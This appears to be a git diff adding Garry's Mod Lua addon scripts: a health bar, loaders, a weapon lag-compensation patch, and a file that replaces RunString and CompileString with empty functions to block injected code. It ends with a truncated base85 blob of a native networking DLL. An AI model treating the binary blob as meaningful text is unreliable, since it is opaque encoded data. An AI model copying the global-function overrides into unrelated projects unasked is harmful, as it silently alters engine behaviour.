surface.SetDrawColor( 0,255,0,255 ) + surface.DrawRect( x + 20, y + 40, 150, 15 ) + draw.SimpleText(LookingHealth.. "/" .. LookingMaxHealth, "HealthNumberFont", x + 90, y + 49, Color(255,0,0,255),1,1) + end + + end + hook.Add("HUDPaint", "HealthBar", HealthBar) +end + + +if (SERVER) then + local function HealthBarGetHealth() + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + local trace = util.TraceLine( utilx.GetPlayerTrace(v, v:GetCursorAimVector() ) ) + + if (!trace.Hit) then return end + if (!trace.HitNonWorld) then return end + + v:SetNWInt("LookingHealth", trace.Entity:Health() ) + v:SetNWInt("LookingMaxHealth", trace.Entity:GetMaxHealth() ) + end + end + end + hook.Add("Think", "HealthBarGetHealth", HealthBarGetHealth) +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_NoRunstring.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_NoRunstring.lua new file mode 100644 index 0000000..e8d5514 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_NoRunstring.lua @@ -0,0 +1,46 @@ + +--Fuck you toybox +if iface3 then return end + + +local Bad = { + "RunString", + "RunStringEx", + "CompileString", + "Compilestring", + "CompileFile", +} + + +for k,v in pairs(Bad) do + if not _G[v.."Crap"] then + _G[v.."Crap"] = _G[v] + end + + _G[v] = function() + --print("bad '"..v.."' called: ", NotDGI(2).short_src) + end +end + + +local function ResetAll() + for k,v in pairs(Bad) do + if _G[v.."Crap"] then + _G[v] = _G[v.."Crap"] + _G[v.."Crap"] = nil + end + end + + print("! fixed") +end + +if (CLIENT) then + concommand.Add("hex_toybox_reset_cl", ResetAll) +else + concommand.Add("hex_toybox_reset_sv", ResetAll) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_SWEPFix.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_SWEPFix.lua new file mode 100644 index 0000000..bc9b5ca --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/sh_SWEPFix.lua @@ -0,0 +1,63 @@ +--[[ + SWEP Multiplayer Fix by aVoN + + This fixes the Clientside of a SWEP calling SWEP:PrimaryAttack or SWEP:SecondaryAttack multiple times until the server tells the client "Hey stop, + NextPrimaryFire is in X seconds". This bug happens especially if your ping is higher than 40ms. + + And example video is here (Recoil increases MUCH!): + VIDEO http://www.youtube.com/watch?v=IWdnU4sR9pc + COMPLETE EXPLAINATION: http://forums.facepunchstudios.com/showpost.php?p=9492119&postcount=366 + + Sadly garry does not (want to?) fix it. Well here is the fix. it's licensed under the GPLv3 so do what you want with it . +--]] +local COMPENSATION = 7; -- Ammount of compensation for Ping. I'm not suggesting to put this at any other value than 7 + +local meta = FindMetaTable("Weapon"); +if not meta then return end; + +--################### Backup of the original @aVoN +if not (meta.__SetNextPrimaryFire) then meta.__SetNextPrimaryFire = meta.SetNextPrimaryFire end; +if not (meta.__SetNextSecondaryFire) then meta.__SetNextSecondaryFire = meta.SetNextSecondaryFire end; +--################### The actual fix @aVoN +local function PrimaryAttack(self,...) + if(self.__PrimaryAttack and (self.__NextPrimaryAttack or 0) < CurTime()) then + return self:__PrimaryAttack(...) + end; +end +local function SecondaryAttack(self,...) + if(self.__SecondaryAttack and (self.__NextSecondaryAttack or 0) < CurTime()) then return self:__SecondaryAttack(...) end; +end + +--################### Overwrite SWEP:SetNextPrimaryFire to compensate lag @aVoN +function meta:SetNextPrimaryFire(delay) + self:__SetNextPrimaryFire(delay); -- Even if this does not seem have an effect, I do not want to destroy scripts which are relying on this + if(ValidEntity(self.Owner) and self.Owner:IsPlayer()) then + local time = CurTime(); + -- The Clientside fixed "NextPrimaryAttack" - First we wait until the server should have told the client when he can shoot again. Then we use GMod's internals + local delay = (delay or time) - time; -- SWEP's delay + -- If the ping is greater than the delay, we add some extra compensation + if((self.Owner:Ping() + COMPENSATION)/1000 > delay) then delay = delay + COMPENSATION/1000 end; + self.__NextPrimaryAttack = delay + time; + if(self.PrimaryAttack and not self.__PrimaryAttack) then + self.__PrimaryAttack = self.PrimaryAttack; -- Store old + self.PrimaryAttack = PrimaryAttack; -- Overwrite with fixed one + end + end +end + +--################### Overwrite SWEP:SetNextSecondaryFire to compensate lag @aVoN +function meta:SetNextSecondaryFire(delay) + self:__SetNextSecondaryFire(delay); -- Even if this does not seem have an effect, I do not want to destroy scripts which are relying on this + if(ValidEntity(self.Owner) and self.Owner:IsPlayer()) then + local time = CurTime(); + -- The Clientside fixed "NextSecondaryAttack" - First we wait until the server should have told the client when he can shoot again. Then we use GMod's internals + local delay = (delay or time) - time; -- SWEP's delay + -- If the ping is greater than the delay, we add some extra compensation + if((self.Owner:Ping() + COMPENSATION)/1000 > delay) then delay = delay + COMPENSATION/1000 end; + self.__NextSecondaryAttack = delay + time; + if(self.SecondaryAttack and not self.__SecondaryAttack) then + self.__SecondaryAttack = self.SecondaryAttack; -- Store old + self.SecondaryAttack = SecondaryAttack; -- Overwrite with fixed one + end + end +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/autorun/hexloader_autorun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/autorun/hexloader_autorun.lua new file mode 100644 index 0000000..ac17c01 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/autorun/hexloader_autorun.lua @@ -0,0 +1,19 @@ + +if iface3 then return end + + +Msg("\n") +Msg("/////////////////////////////////////\n") +Msg("// HeX's Scripts Loader //\n") +Msg("/////////////////////////////////////\n") + +include("HeX/hx_loader_backend.lua") + +Msg("/////////////////////////////////////\n") +Msg("// Loaded! //\n") +Msg("/////////////////////////////////////\n") +Msg("\n") + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/hex_loader.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/hex_loader.lua new file mode 100644 index 0000000..6930e7d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/hex_loader.lua @@ -0,0 +1,37 @@ + + +if not iface3 then + HeXInclude = include +end + +local function LoadIfExist(what) + if file.Exists("lua/"..what, true) then + HeXInclude(what) + end +end + +Msg("\n") +Msg("/////////////////////////////////////\n") +Msg("// HeX's Scripts Loader //\n") +Msg("/////////////////////////////////////\n") +Msg("// Manual Load //\n") +Msg("/////////////////////////////////////\n") + + +HeXInclude("HeX/hx_loader_backend.lua") + +LoadIfExist("autorun/client/depthhud_inline.lua") +LoadIfExist("autorun/client/saitohud_init.lua") +LoadIfExist("autorun/client/cl_proxi_autorun.lua") + +Msg("/////////////////////////////////////\n") +Msg("// Loaded! //\n") +Msg("/////////////////////////////////////\n") +Msg("\n") + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/enum/en_HeX.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/enum/en_HeX.lua new file mode 100644 index 0000000..1b5302c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/enum/en_HeX.lua @@ -0,0 +1,26 @@ + + +NotEC = ents.Create +function ents.Create(ent) + return NotEC( string.lower(ent) ) +end +print("[HeX] Fixing case-sensitive ents.Create..") + + +if SERVER then return end + +_G.HeXLoaded = true +if not _G.iface3 and (hook or timer or concommand or (getmetatable(_G) != nil)) then + _G.HeXGlobal_AC = true +end + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gm_sourcenet3.dll b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/includes/modules/gm_sourcenet3.dll new file mode 100644 index 0000000000000000000000000000000000000000..31961a671802d0df1ecc6b3bd0532acf3755702e GIT binary patch literal 147456 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 